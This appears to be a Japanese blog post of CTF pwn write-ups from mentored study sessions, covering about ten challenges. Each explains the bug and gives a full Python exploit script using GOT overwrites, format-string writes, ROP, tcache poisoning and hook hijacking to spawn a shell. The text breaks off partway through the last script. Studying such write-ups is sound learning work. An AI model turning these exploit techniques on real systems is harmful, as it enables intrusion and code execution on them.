ふるつき

v(*'='*)v かに

yoshi-pwn 1Q

ちょっとどいういう経緯か憶えてないのですが最近ptr-yudaiにpwnを教えてもらうyoshi-pwnというのをやっています(yoshiking関係ないけど)。週1で通話しながら問題の解き方を教えてもらう感じで。せっかくなのでどんな問題をやったかというのを残しておきます。少しずつ書いているので常体敬体が入り混じって気持ち悪い文章になっています。また、文章の都合上私が自分で考えてexploitを書いているように表現されていますが、基本的にptr-yudaiに方針を教えてもらいながら書いています。

SECCON 2019 - Sum

だいたいこんな感じ

void setup() __attribute__((constructor)) {
    setvbuf(stdout, 0);
    setvbuf(stdin, 0);
    alarm(hoge);
}

void read_ints(int*xs, int n) {
    for (int i = 0; i <= n; i++) {
        xs[i] = read_int();
    }
}
int sum(int* xs, int *ptr) {
    int i = 0;
    for (i = 0; xs[i] != 0; i++) {
        *ptr += xs[i];
    }
    return i;
}
int main() {
    long xs[5];
    long ptr;
    long target;
    
    target = 0;
    ptr = &target;
    read_ints(xs, 5);
    if (sum(xs, ptr) > 5) {
        exit(-1);
    }
    printf("%lld\n", target);
    return 0;
}

値を5つ入力して和を計算してくれるが条件式をバグらせてて6個入力できてしまい、6個目の入力が和を代入するポインタを上書きするので実質好きなアドレスに好きな値を書き込むことができる。(アドレスaに値xを書き込むとして、 1, 1, 1, 1, x - a - 4, a みたいな入力を作れば良い)

この状態でどうにかしてlibc_baseをとりシェルを取る。想定解法(?)ではなんかROPができることを利用するらしいが気が付きようがないので次のようにやった。

  1. exit@gotsetup に向ける。すると何度も繰り返して任意アドレスに値を書き込めるようになる
  2. setvbuf@gotputs@plt に向ける
  3. bssセクションにstdout, stdinへのポインタがおいてあるので、stdoutをstdin (.bss) に向ける。これで次の実行時に setvbuf(stdout, 0, 0)puts(&stdin) になるので libc baseが取れる
  4. exit@got などを上書きして One Gadget を発火させる

いやすげー

from ptrlib import *
import sys

elf = ELF("./sum")
if len(sys.argv) <= 1:
    sock = Process("./sum")
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
    libc = ELF("./libc.so")

def query(addr, value):
    sock.recvuntil("4 0\n")
    payload = []
    payload.append(str(1))
    payload.append(str(1))
    payload.append(str(1))
    payload.append(str(1))
    payload.append(str(value - addr - 4))
    payload.append(str(addr))
    print("[+] debug {}".format(payload))
    print("[+] addr: {:x}, value: {:x}".format(addr, value))
    sock.sendline(" ".join(payload))

ONESHOT_OFFSET = 0x10a38c
print(libc.symbol("_IO_2_1_stdin_"))

query(elf.got("exit"), elf.symbol("_start"))
query(elf.got("setvbuf"), elf.plt("puts"))
query(0x601060, 0x601071) # stdout = &stdin (.bss)
stdin = u64(sock.recvline()) << 8
_ = u64(sock.recvline())
libc_base = stdin - libc.symbol("_IO_2_1_stdin_")
print("[+] libc_base: 0x{:08x}".format(libc_base))
query(elf.got("exit"), libc_base + ONESHOT_OFFSET)
sock.interactive()

StarCTF 2019 - quicksort

32bit のバイナリでセキュリティ機構としてはNX bitとStack Canaryだけが有効。なんだか簡単そうですね。大体以下のようなプログラムで、問題名の示すとおり、sortではquicksortが実装されていそうです。

int main() {
    char buf[16];
    int *xs;
    int n;
    scanf("%d", &n);
    xs = malloc(sizeof(int) * n);
    for (int i = 0; i < n; i++) {
        gets(buf);
        xs[i] = atoi(buf);
    }
    
    sort(xs, n);
    for (int i = 0; i < n; i++) {
        printf("%d ", xs[i]);
    }
    free(xs);
}

gets 関数を使っているので自明にBuffer Overflowがあります。今回はスタック上のxsの値を書き換えることにします。すると xs[i] = atoi(buf) が実質任意のアドレスへの任意の値の書き込みになることがわかります。GOT Overwriteをつかって atoi@got <- printf@plt となるように書き換えてやると、今度は printf(buf) が実行されることになってFomat String Bugが引き起こせそうです。

Format String Bugが使えると、スタックの値を自由に読み出せるので、main関数の戻りアドレスである __libc_start_main + 241 のアドレスを読むことによってlibc_baseが求まります。あとは atoi@gotsystem@libc などに変更できれば勝ちです。

しかしこれが意外と難しく、 xs を壊さないようにとなるとFSBで使える文字数が15文字までに制限されてしまい 、一度の入力では4バイト全てを書き換えることは不可能です。そこで、次のような方針を取ることにしました。

  1. FSBsetbuf@got を1バイトずつ書き換えて、これを system@libc に向けます
  2. FSBatoi@got を1バイトだけ書き換えて、 printf@plt に向いていたものを setbuf@plt に書き換えます
  3. この状態で atoi を呼び出すと、最終的に system@libc の呼び出しになるので、 /bin/sh などを実行してシェルを取ります

ここで setbuf が急にでてきましたが、バイナリ中で呼び出されていて、ループ中に呼ばれておらず、printf@pltsetbuf@plt が1バイトだけ異なるので一度のFSBで書き換えられる、という理由によるものです。この条件を満たしていないと書き換えの途中で壊れたアドレスにジャンプしてエラーになってしまいます。

というわけでexploitです。 ptrlibのfsb関数は(この時点では)1バイトずつの書き換えに対応していなかったので自分でformat stringを構築しました(この問題を解いているときにこの問題が発覚し、現在では修正されています)。

from ptrlib import *

sock = Process("./quicksort")
elf = ELF("./quicksort")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")

sock.recvline()

# atoi@got <- printf@plt
payload = b"A" * (0x2c - 0x1c) + p32(100) + p32(0) + p32(0xdeadbeef) + p32(elf.got("atoi") - 4)
sock.sendline("100")
sock.sendlineafter(":", payload)
sock.sendlineafter(":", str(elf.plt("printf")))

# get libc base by FSB
sock.sendlineafter(":", "%{}$p<>".format(0x17))
libc_start_main_addr = int(sock.recvuntil("<>")[:-2], 16)
libc_base = libc_start_main_addr - 241 - libc.symbol("__libc_start_main")
system_addr = libc.symbol("system") + libc_base
print("[+] libc_base: {:0x}".format(libc_base))
print("[+] setbuf: {:0x}".format(elf.got("setbuf")))
print("[+] system_addr: {:0x}".format(system_addr))

for i in range(4):
    addr = p32(elf.got("setbuf") + i)
    value = (system_addr >> (8 * i)) & 0xff
    value = (value - len(addr) - 1) % 0x100 + 1

    payload = addr
    payload += str2bytes("%{value}c%{index}$hhn".format(
        addr=addr,
        value=value,
        index=7
    ))
    sock.sendlineafter(":", payload)

addr = p32(elf.got("atoi"))
value = elf.plt("setbuf") & 0xff
value = value - len(addr)
payload = addr
payload += str2bytes("%{value}c%{index}$hhn".format(
    addr=addr,
    value=value,
    index=7
))
sock.sendlineafter(":", payload)
sock.sendlineafter(":", "/bin/sh")

sock.interactive()

GOT Overwriteで直接 system などを呼び出すのではなく、エントリを printfの呼び出しに書き換えてFSBを引き起こすテクをはじめて知りました。面白いですね

SuSeC CTF 2020 | Unary

何気にptr-yudai作問の問題(だったはず)。 64bitバイナリで、Stack Canaryが存在しません。これはコンパイルオプションで抑制したのではなく、ソースコード内にオーバーフローが存在しなさそうだとコンパイラが判断した結果のようです。

この問題はインクリメント ++ やビット反転 ~ などの関数をインデックスを指定して呼び出すのですが、この呼び出しが call [inc + input*8] のように呼び出されているうえ入力にチェックが含まれていないので、不正なインデックスを指定することでgotにエントリが存在する関数を呼び出すことが出来ます。これで puts@got(puts@got) などをしてlibc_baseが得られ、続いて scanf@got("%s") を呼び出して(ここで %s はelfの中から探してきてアドレスを入力として指定します)Buffer Overflowを起こすと、Stack Canaryが存在しないのでそのままRIPが得られ、one gadgetなどに飛ばして勝ちです。

from ptrlib import *


sock = Process("./unary")
elf = ELF("./unary")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

ELF_BASE = 0x400000
ope = 0x600e00 # elf.symbol("inc")

def call(addr, arg):
    sock.sendlineafter("Operator: ", str((addr - ope) // 8 + 1))
    sock.sendlineafter("x = ", str(arg))

call(elf.got("puts"), elf.got("puts"))
puts_addr = u64(sock.recvline())
libc_base = puts_addr - libc.symbol("puts")
print("[+] libc_base: {:0x}".format(libc_base))


one_gadget = 0x10a38c + libc_base
payload = b"A" * (0x2C) + p64(one_gadget)
ps_addr = ELF_BASE + next(elf.find("%s"))
call(elf.got("__isoc99_scanf"), ps_addr)
sock.sendline(payload)
sock.sendlineafter("Operator: ", "0") # EXIT
sock.interactive()

易しい問題でしたね(自力では解けてないが)

Fireshell CTF 2020 - FireHTTPD

64bitバイナリ。Full RELROでPIE enabledです。中身は簡易HTTPサーバですが、refererの処理がバグっていてFSBが可能です。

     if ( !strncmp(&s1, "Referer: ", 9uLL) )
       sprintf(s, &s1);

いつものように __libc_start_main のアドレスをスタック上から探してlibc_baseを入手します(途中の関数のバッファが結構大きいので遠くまでスタックを掘りに行く必要があります。また、64bitバイナリでは最初の5引数はレジスタ経由で渡されるので、スタックの先頭は %6$p になることに注意します(1敗))。

これができたら、同様にFSBを用いて、次はStack Canaryを取得、そしてスタックにROPコードを書き込みます。ここで単に /bin/sh を起動するだけでは、サーバ側でシェルが起動するのみで、socketを経由してこちら側から操作をすることが出来ないので、socketに該当するFDのガチャをやって dup2 で stdin / stdoutをsocketに向けておきます。

また、ROPの先頭に ret gadgetを挟んでstackがいい感じになるようにしています(movapsによるエラー回避)。

from ptrlib import *

libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

sock = Socket("localhost", 1337)
sock.sendline("GET /")
sock.sendline("Referer: %560$p %562$p")
sock.sendline("")

sock.recvuntil("Referer: ")
stack_canary = int(sock.recvuntil(" ")[:-1], 16)
p = int(sock.recvline(),16)
libc_base = p - libc.symbol("__libc_start_main") - 231
print("[+] stack canary: 0x{:08x}".format(stack_canary))
print("[+] libc_base: 0x{:08x}".format(libc_base))

FD = 4

ROP = [
    libc_base + 0x00000000000008aa, # ret (omaginai)

    libc_base + 0x000000000002155f, # pop rdi
    FD,
    libc_base + 0x0000000000023e6a, # pop rsi
    0,
    libc_base + libc.symbol("dup2"),

    libc_base + 0x000000000002155f, # pop rdi
    FD,
    libc_base + 0x0000000000023e6a, # pop rsi
    1,
    libc_base + libc.symbol("dup2"),

    libc_base + 0x000000000002155f, # pop rdi
    libc_base + next(libc.find("/bin/sh")), # "/bin/sh"
    libc_base + libc.symbol("system") # "/bin/sh"
]

payload = str2bytes("%{}c".format(0x410 - 8 - 8 - 1))
payload += p64(stack_canary)
payload += p64(0xdeadbeefcafebabe)
for r in ROP:
    payload += p64(r)
payload = payload.replace(b"\x00", str2bytes("%{}$c".format(560)))
print(repr(payload))

sock.close()

input("PAUSE")

sock = Socket("localhost", 1337)
sock.sendline("GET /")
sock.sendline(b"Referer: " + payload)
sock.sendline("")

sock.interactive()

writeupを書くとFSBやるだけっぽく感じるけど解いてるときはいろいろ難しいんですよね。

nitac mini ctf 2020 | babynote

ptr-yudai作問。64bitのnote系バイナリでFullRELO/PIE enabledですが、libc_baseが与えられています。また、noteを作るときのread_lineに自明なバッファオーバーフローがあります。これを使うと、次のようにtcache_entryのnextを自由にできそうです。

| note 1 |
| note 2 |
| free     |
| note 2 |
| free    |
| free    |
| note 3 |
| free     | <- note3への書き込みをオーバーフローさせて tcache_entryのnextを破壊する

これで __free_hook を allocateすれば勝ちですね。

from ptrlib import *

sock = Process("./babynote")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

stdin_addr = int(sock.recvline().split(b": ")[1], 16)
libc_base = stdin_addr - libc.symbol("_IO_2_1_stdin_")

print("[+] libc_base: {:0x}".format(libc_base))

def create(contents):
    sock.sendlineafter("> ", "1")
    sock.sendlineafter("Contents: ", contents)

def show(idx):
    sock.sendlineafter("> ", "3")
    sock.sendlineafter("Index: ", str(idx))
    return sock.recvline()

def delete(idx):
    sock.sendlineafter("> ", "3")
    sock.sendlineafter("Index: ", str(idx))

free_hook_addr = p64(libc_base + libc.symbol("__free_hook"))
assert free_hook_addr.find(b"\n") == -1

system_addr = p64(libc_base + libc.symbol("system"))
assert system_addr.find(b"\n") == -1

create("hoge") #idx: 0
create("piyo") #idx: 1
delete(1)
input("[+] PAUSE: free 1")
delete(0)
create(b"A"*0xa0 + free_hook_addr) # overwrite tcache_entry.next
input("[+] PAUSE: overwrite_tcache_entry")
create("/bin/sh") #idx: 1
input("[+] PAUSE: next is __free_hook")
create(system_addr) # __free_hook = system
delete(1) # free(noteList[1]) == system(noteList[1])

sock.interactive()

自力AC! 天才ですか? いいえ

nitac mini CTF 2020 - ezstack

これもptr-yudai作問。サイズ制限のあるスタックに文字列をpushしたりpopしたりできる。pop時のサイズに負値を指定できて、それをやるとスタックポインタをずらすことができる。また、pop時にはスタックの末尾にNULLが書き込まれる(off-by-null)。

これができると何が嬉しいかと言うと、 saved_rbpの末尾1バイトを0埋めできる。これでsaved_rbpを破壊した後、 leave; ret; が行われると、破壊されたsaved_rbpがrspになり、その状態でのretではrspが本来よりも少し巻き戻った位置にある。これで(運が良ければ)RIPをうばうことができるので嬉しい。ptr-yudaiによるとこれはpwnerはみんな知ってるけど何故か文章としてはまとめられてないテクらしい。

from ptrlib import *

sock = Process("./ezstack")
elf = ELF("./ezstack")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

def push(payload):
    sock.sendlineafter("> ", "1")
    sock.sendafter("data: ", payload)

def pop(size):
    sock.sendlineafter("> ", "2")
    sock.sendlineafter("size: ", str(size))
    return sock.recvline()


line = u64(pop(-(0x130))[4:])
libc_base = line - (libc.symbol("__libc_start_main") + 231)
print("[+] libc_base: {:x}".format(libc_base)) 

retgadget = p64(0x00000000000008aa + libc_base)
onegadget = p64(0x4f322 + libc_base) # 0x10a38c

rop = retgadget * ((0x100 - 0x50) // 8) + onegadget
rop += b"\0" * (0x100 - len(rop))
print(hex(len(rop)))

pop(0x130)
push(rop)
pop(-8)
sock.interactive()

へーーーー

InCTF 2019 - Schmaltz

64bitのNote系アプリでインデックスの使い方がイカレてる。きらい。add/view/deleteができ、自明double freeと、off-by-nullがある。libc 2.28。

libc 2.28から(だと思う。たぶん*1)は、tcache_entry 構造体に key というフィールドが追加されていて、エントリがtcacheに繋げられたときにkeyはtcacheのアドレスを指す。これはdouble freeの検出のために用いられていて、freeされるchunkのkeyに該当する部分がもしtcacheのアドレスになっていたら、 tcache->entries[tc_idx] を全部見て、同じアドレスが既に存在しないかを確かめる *2 。これにより libc2.27 よりは少しだけdouble freeが難しくなっている。

今回はこのチェックをoff-by-nullで回避する。アイデアは次の通り。

+---------------+
|   chunk1      |
+---------------+
|  large(>0x100)|
|  size chunk   |
+---------------+
+---------------+
| free          |
+---------------+
| free          |
|               |
+---------------+
+---------------+
| chunk1        |
+---------------+  <- ここで off-by-null を使って
|               |     chunk sizeを 0x100 にむりやり書き換える
|               |
+---------------+

malloc_chunk構造体はmchunk_prev_size, mchunk_sizeの順で並んでいるので1バイトの上書きでは mchunk_prev_sizeの末尾しか書き換えられないと思うかも知れないが、サイズが末尾が1〜8までの大きさのchunkを確保しようとする時、次のchunkの mchunk_prev_sizeと領域を共有してmallocされる)。

これで、 large size chunkを double freeしたときに key = tcacheになっているのでチェックが入るが、 malloc_chunk構造体の mchunk_size が書き換えれて、異なるtc_idxが選ばれるため、エラーにはならない。

この方針まで辿り着けば、全体の方針が立つ。

  1. double-freeをやって、 struct note notes[7] のような構造が bss セクションにあるので、ここを malloc して puts@gotを書き込み、 fake chunk 2つ(A、Bとする。Aのほうが手前にあって大きい、AがBを内包する)を用意しておく
  2. viewでputs@gotがアドレスになっているので libc_base が取れる
  3. fake chunkをそれぞれfreeする
  4. fake chunk Aをmallocして、freeされているfake chunk Bのnextを __free_hook に向ける。また bssのあいている領域に 偽の ucontext_t構造体を書き込む
  5. fake chunk Bをmallocして、note[x].bufが偽のucontext_t構造体を指すようにする
  6. 適当にmallocして、 __free_hooksetcontextに向ける
  7. note[x] を freeすると、 setcontextが呼び出されて勝利
struct note {
    char *buf;
    int size;
    int use_flag;
}

急にfake chunkとかsetcontextとかが出てわけのわからないことになっている。基本的にはdouble freeで__free_hookをnextにしてそこにsystemを書き込めばよかったはずなのだが、この問題はバイナリを LD_LIBRARY_PATH=$(pwd) ./ld-2.28.so ./schmaltz という具合にむりやり呼び出していて、system関数は環境変数を引き継いでしまうのだが、その結果 ld-2.27LD_LIBRARY_PATHの指定の通りlibc2.28を読んでしまい、/bin/sh の起動に失敗する。(は? ゴミ)

そこで今回は execve("/bin/sh", NULL, NULL) を呼び出すことにしたのだが、そこでこのような手法を用いた。 setcontext は引数に ucontext_t構造体を指定して、その構造体に保存されていたレジスタを復元するというもので、レジスタを任意に指定できるので、これでsyscall の引数をいい感じにして execve の呼び出し手前に飛ばしている。そしてこれを実現するために、アドレスがわかっていて、書き込みできる領域を作る必要が生まれた。そこでfake chunkを作成してtcacheにbss上のアドレスを追加している。

from ptrlib import  *
import os

sock = Process(["./ld-2.28.so", "./schmaltz"], env={
    "LD_LIBRARY_PATH": os.getcwd()
})
elf = ELF("./schmaltz")
libc = ELF("./libc.so.6")
note_table = 0x602060

def add(size, content):
    sock.sendlineafter("> ", "1")
    sock.sendlineafter("> ", str(size))
    sock.sendlineafter("> ", content)

def view(index):
    sock.sendlineafter("> ", "3")
    sock.sendlineafter("> ", str(index))
    sock.recvuntil(": ")
    size = sock.recvline()
    sock.recvuntil(": ")
    content = sock.recvline()
    return (size, content)

def remove(index):
    sock.sendlineafter("> ", "4")
    sock.sendlineafter("> ", str(index))

add(0x37, "hello") # 0
add(0x1e8, "size 1e8 man") # 1
add(0x20, "gomi") # 2
add(0x20, "gomi2") # 3
remove(0)
remove(1)
add(0x38, "off by null here") # 2
remove(1)
add(0xf8, p64(note_table)) # 2
add(0x1e8, "hello world") # 3

payload = p64(elf.got("puts")) + p32(0x1e8) + p32(1) # note_table[0].buf = puts@got; note_table[0].size = 0x1e8; note_table[0].flag = 1

payload += p64(0xCAFEBABE) + p64(0x1e1) # FAKE CHUNK overlap (chunk header)
payload += p64(note_table + 32) + p32(0x20) + p32(1) # note_table[2].buf = &note_table[2].buf(to free FAKECHUNK)
payload += p64(0xDEADBEEF) + p64(0x20) # FAKE CHUNK 2(chunk header)
payload += p64(note_table + 64) + p32(0x20) + p32(1) # note_table[4].buf = &note_table[4].buf(to free FAKECHUNK)


add(0x1e8, payload) # 4 <-- note_table
_, puts_got = view(0)
libc_base = u64(puts_got) - libc.symbol("puts")
print("[+] libc_base: {:0x}".format(libc_base))


remove(4) # free FAKE CHUNK 2
remove(2) # free FAKE CHUNK 1


payload2 = b"A" * 32 + p64(libc_base + libc.symbol("__free_hook")) # fill note_table[2], note_table[3], overwrite tcache_entry->next
payload2 += b"\1" * (16 * 2 + 8)
payload2 += p32(3) + p32(0) # note_ctr

# ucontext_t
payload2 += p64(0) + p64(0)                           # rdx + 0x20 --> XXX, r8
payload2 += p64(0) + p64(0)                           # rdx + 0x30 --> r9 , XXX
payload2 += p64(0) + p64(0)                           # rdx + 0x40 --> XXX, r12
payload2 += p64(0) + p64(0)                           # rdx + 0x50 --> r13, r14
payload2 += p64(0) + p64(libc_base + next(libc.find("/bin/sh")))          # rdx + 0x60 --> r15, rdi
payload2 += p64(0) + p64(0)                           # rdx + 0x70 --> rsi, rbp
payload2 += p64(0) + p64(0)                           # rdx + 0x80 --> rbx, rdx
payload2 += p64(0) + p64(0)                           # rdx + 0x90 --> XXX, rcx
payload2 += p64(note_table) + p64(libc_base + libc.symbol("execve"))               # rdx + 0xa0 --> rsp, rip
payload2 += p64(0) + p64(0)                           # rdx + 0xb0
payload2 += p64(0) + p64(0)                           # rdx + 0xc0
payload2 += p64(0) + p64(0)                           # rdx + 0xd0
payload2 += p64(note_table) + p64(0)           # rdx + 0xe0

add(0x1d8, payload2) # 3: malloc FAKE CHUNK 1
add(0x18, p64(0x6020d0 + 8 - 0x20)) # 4: malloc FAKE CHUNK2 (tcache->__free_hook)
add(0x18, p64(libc_base + libc.symbol("setcontext"))) # 5: malloc __free_hook

input("[+] pause")
print(view(4))
remove(4)
sock.interactive()

バイナリのゴミさと動かし方のゴミさが相まって、とてもわかりにくいexploitがうまれた。このwriteupを書くために解読し直すのにもかなり苦労した。

ISITDTU - iz_heap_lv2

add/edit/delete/show ができる note系。off-by-nullがある。自明double freeはない。 libc2.27想定と libc2.23想定で解いた

libc 2.27

本来PIE無効だが、PIE有効の体で解いた。PIE無効だとどこが変わったんだろう。わからない

tcacheに収まらないサイズ(binsに回されるサイズ)での consolidate(領域をfreeしたときに、既にfreeされている領域と隣接していれば併合する動き)を利用する。次のようにchunkを用意して、chunk 1をfreeしたあと、chunk2をeditしてoff-by-nullでchunk3の mchunk_size の末尾をNULLにして、 prev_in_use bitを寝かせることで、mallocからは chunk1, chunk2がfreeされているとみなされ、 chunk3をfreeしたときに 一つの大きな領域として binsに繋がれる(chunk1/chunk3が0x4f8というサイズで確保されているのは、tcacheに収まらない程度に大きく、 mchunk_sizeが0x501となって off-by-nullしたときにサイズ自体が変わらなくて都合が良いから。chunk2が0x68なのは何でも良いんだけどあとで意味があったりする)。

+---------+
| chunk 1 |
| 0x4f8   |
|         |
+---------+
| chunk 2 |
| 0x68    |
+---------+
| chunk 3 |
| 0x4f8   |
|         |
+---------+

この状態で、0x4f0のchunkを作ると、binsから必要分が供給されてちょうどchunk2の先頭部分がbinsと繋がれる。chunk2はまだアプリケーション的には確保している状態なのでshowができて、ここからlibcのアドレスが手に入る。

また、この状態でさらに0x68程度をmallocすると chunk2にoverlapする形で領域が取られるので、あとはdouble freeでtcache_entry->nextを書き換えて、 __free_hookからの system で勝利できる

from ptrlib import *

sock = Process("./iz_heap_lv2")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

def Add(size, data):
    sock.sendlineafter("Choice: \n", "1")
    sock.sendlineafter("size: ", str(size))
    sock.sendafter("data: ", data)

def Edit(index, data):
    sock.sendlineafter("Choice: \n", "2")
    sock.sendlineafter("index: ", str(index))
    sock.sendafter("data: ", data)

def Delete(index):
    sock.sendlineafter("Choice: \n", "3")
    sock.sendlineafter("index: ", str(index))

def Show(index):
    sock.sendlineafter("Choice: \n", "4")
    sock.sendlineafter("index: ", str(index))
    sock.recvuntil("Data: ")
    return sock.recvline()

Add(0x4f8, b"A"*0x4f8)  # index: 0
Add(0x68 , b"B"*0x68)   # index: 1
Add(0x4f8, b"C"*0x4f8)   # index: 2
Add(0x10,  b"D"*0x10)   # index: 3 to avoid consolidate when free C

Delete(0)

payload = b"B" * 0x68 # off-by-null de C no prev_in_use bit wo nekaseru
payload = payload[:-8] + p64(0x500 + 0x70) # padding + prev_size + overwrite null
assert len(payload) == 0x68

Edit(1, payload)
Delete(2)             # free buf 2, then consolidate through from buf 0 to buf 2

Add(0x4f6, b"E" * 0x4f0) # index: 0 !!!! DO NOT OVEWRITE size of next chunk by off-by-null !!!!
bins_addr = Show(1)
libc_base = u64(bins_addr)  - libc.main_arena() - 0x60
print("libc_base: {:0x}".format(libc_base))

Add(0x68, b"F" * 0x68) # index: 2, overlapped index 1
Delete(2)

Edit(1, p64(libc_base + libc.symbol("__free_hook"))) # edit buf 1 to modify fd

Add(0x68, b"/bin/sh") # index: 2
Add(0x68, p64(libc_base + libc.symbol("system"))) # index:4, free_hook -> system

Delete(2)
sock.interactive()

libc2.23

libc2.23でも基本的な方針は同じだが、最後に使うのがtcacheではなくfastbinになる点で異なる。fastbinではmalloc時にmchunk_sizeをみて正しいかどうかチェックする処理が入っている。__free_hook の周辺は基本的に0ばかりなのでこのチェックを通過できない。そこで今回は __malloc_hook を使う。 __malloc_hook-0x23 の位置をfastbinにつなぐようにすると、 そのchunkのmchunk_sizeが 0x7f になる(7f... ではじまる libcのアドレスが存在しているので)。これがうまくsize checkを回避してくれるので、 __malloc_hook をallocateしてsystemなどにつなげることができる(さっきchunk 2が0x68だったのはここで都合が良いから)。

というわけであとは malloc の引数に/bin/sh を渡せば良い。この解法はPIE有効だと /bin/shのアドレスが32bitに収まらなくてうまくいかなかったので、libc2.23ではPIE無効時のみ有効なexploitになった。

from ptrlib import *

sock = Socket("localhost", 9999)
libc = ELF("./libc-2.23.so")

def Add(size, data):
    sock.sendlineafter("Choice: \n", "1")
    sock.sendlineafter("size: ", str(size))
    sock.sendafter("data: ", data)

def Edit(index, data):
    sock.sendlineafter("Choice: \n", "2")
    sock.sendlineafter("index: ", str(index))
    sock.sendafter("data: ", data)

def Delete(index):
    sock.sendlineafter("Choice: \n", "3")
    sock.sendlineafter("index: ", str(index))

def Show(index):
    sock.sendlineafter("Choice: \n", "4")
    sock.sendlineafter("index: ", str(index))
    sock.recvuntil("Data: ")
    return sock.recvline()

Add(0x4f8, b"A"*0x4f8)  # index: 0
Add(0x68 , b"B"*0x68)   # index: 1
Add(0x4f8, b"C"*0x4f8)   # index: 2
Add(0x10,  b"D"*0x10)   # index: 3 to avoid consolidate when free C

Delete(0)

payload = b"B" * 0x68 # off-by-null de C no prev_in_use bit wo nekaseru
payload = payload[:-8] + p64(0x500 + 0x70) # padding + prev_size + overwrite null
assert len(payload) == 0x68

Edit(1, payload)
Delete(2)             # free buf 2, then consolidate through from buf 0 to buf 2

Add(0x4f6, b"E" * 0x4f0) # index: 0 !!!! DO NOT OVEWRITE size of next chunk by off-by-null !!!!
bins_addr = Show(1)
libc_base = u64(bins_addr)  - libc.main_arena() - 0x60 + 8
print("libc_base: {:0x}".format(libc_base))

Add(0x68, b"F" * 0x68) # index: 2, overlapped index 1
Add(0x68, b"G"*8 + b"/bin/sh") # index: 4

Delete(4)
Delete(2)
buffer_address = u64(Show(1))
print("bufaddr: 0x{:0x}".format(buffer_address))

Edit(1, p64(libc_base + libc.symbol("__malloc_hook") - 0x23)) # edit buf 1 to modify fd

Add(0x68, b"mogumogu") # index: 2
# print("0x{:0x}".format(libc_base + 0xf1147))
# Add(0x68, b"X"*0x13 + p64(libc_base + 0xf1147)) # index:4, __malloc_hook -> one_gadget (0xf1147)
Add(0x68, b"X"*0x13 + p64(libc_base + libc.symbol("system"))) # index:4, __malloc_hook -> one_gadget (0xf1147)

sock.sendlineafter("Choice: \n", "1")
sock.sendlineafter("size: ", str(buffer_address + 0x10 + 0x8 ))
sock.interactive()

CSAW CTF 2019 Quals - popping caps 1

次のようなアプリケーション(かなり意訳)

int main() {
    int buf, ptr;
    for (int i = 0; i < 7; i++) {
        int choice = menu();
        if (choice == 1) {
            buf = ptr = malloc(read_long());
        } else if (choice == 2) {
            free(ptr + read_long());
            buf = 0;
        } else if (choise == 3) {
            read(0, buf, 8); 
        } else {
            break
        }
    }
    malloc(0x38);
    _exit();
}

7回の操作で __malloc_hook を one gadget に向けられたら最後の malloc でシェルが取れる。libc2.27なので単にdouble freeを用いたtcache poinsoningで良さそうなものだが、それだと7回に収まらないので、どうにかして直接 tcache->__malloc_hookを実現したい。これをやるために、tcache_perthread_structmalloc してきてその entries[i]に直接書き込むことを考える。実は tcache_perthread_struct は最初のmalloc時にheapの先頭に確保され、そのサイズは(chunk headerを含めて)0x250である。今回はfreeする際にポインタからのオフセットを指定できるので、これを用いれば tcache_perthread_struct に該当する領域をfreeすることは難しくはなさそう。ヒープは次のような状態になるので、offsetに-0x260程度を指定すれば良い。

| tcache_perthread_struct |  <- heap header
| ......................  |
|                         |  <- heap head + 0x250
| prev_size  |     size   |  <- chunk header for chunk1
|                         |  <- chunk1 addr

(今回はstdout/stderr/stdinのバッファリングが無効化されているが、バッファリングが行われているときは間にそれぞれのバッファが挟まるのでその分だけオフセットはずれることになる)。

あとは指定したアドレスをfake chunkとして見たときに mchunk_size が適切になっていれば、tcacheにtcache_perthread_struct をつなげることができる。 tcache_perthread_struct の定義は次のようになっている。

typedef struct tcache_perthread_struct
{
  char counts[TCACHE_MAX_BINS];
  tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;

これはメモリ上では次のように示される。1バイトのカウンタが64個と、8バイトのポインタが64個並ぶ。

counts[64]  | 0000000000000000  0000000000000000  |
            | 0000000000000000  0000000000000000  |
entries[64] | 0000000000000000  0000000000000000  |
            | 0000000000000000  0000000000000000  |
            | ...                                 |
            |                                     |

これを見ると、 counts の適当な位置を操作すると、 malloc_chunkmchunk_size として扱えそうに見えてくる。具体的にはこのようにしたい。

counts[64]  | 0000000000000000  0000000000000000  |
            | 0000000000000000  0000000000000100  |
entries[64] | 0000000000000000  0000000000000000  |  <-このアドレスを指定して free する
            | 0000000000000000  0000000000000000  |
            | ...                                 |
            |                                     |

つまり、 サイズ 0x3b0 程度の chunkを 1度 freeしておけば、 tcache_perthread_struct->entries に相当する領域を サイズ 0x100 の chunk として tcache に追加できる。あとはこの chunk を適当に malloc して、 tcache_perthread_struct->entres[0] = __malloc_hook を書き込めば、 サイズ 0x20 までの小さな chunk の malloc__malloc_hook が割り当てられるので、そこに one gadgetを書き込む。

from ptrlib import *

sock = Process("./popping_caps")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

system_addr = int(sock.recvlineafter("0x"), 16)
libc_base = system_addr - libc.symbol("system")

def malloc(size):
    sock.sendlineafter("choice: ", "1")
    sock.sendlineafter("How many: ", str(size))

def free(distance):
    sock.sendlineafter("choice: ", "2")
    sock.sendlineafter("free: ", str(distance))

def write(content):
    sock.sendlineafter("choice: ", "3")
    sock.sendafter("me in: ", content)

malloc(0x3a8)
free(0)
free(-0x260 + 0x50)
malloc(0xf8)
write( p64( libc.symbol("__malloc_hook")  + libc_base) )
malloc(0x18)
write( p64( 0x10a38c + libc_base) )
sock.interactive()

CSAW CTF 2019 Quals - popping caps 2

popping caps 1と似た問題だが、最後の malloc がなくなった点と、 writeで0xffバイトまで書き込めるようになった点で異なっている。

こちらの方が簡単で、より量を書き込めるので本物の tcache_perthread_struct chunkを指定して freeしてしまって、0x250程度のchunkを確保して、 tcache->entries[0] に当たる位置に __free_hook_ でも __malloc_hook でも好きに書き込んで system("/bin/sh") を呼べる。

from ptrlib import *

sock = Process("./popping_caps")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

system_addr = int(sock.recvlineafter("0x"), 16)
libc_base = system_addr - libc.symbol("system")

def malloc(size):
    sock.sendlineafter("choice: ", "1")
    sock.sendlineafter("How many: ", str(size))

def free(distance):
    sock.sendlineafter("choice: ", "2")
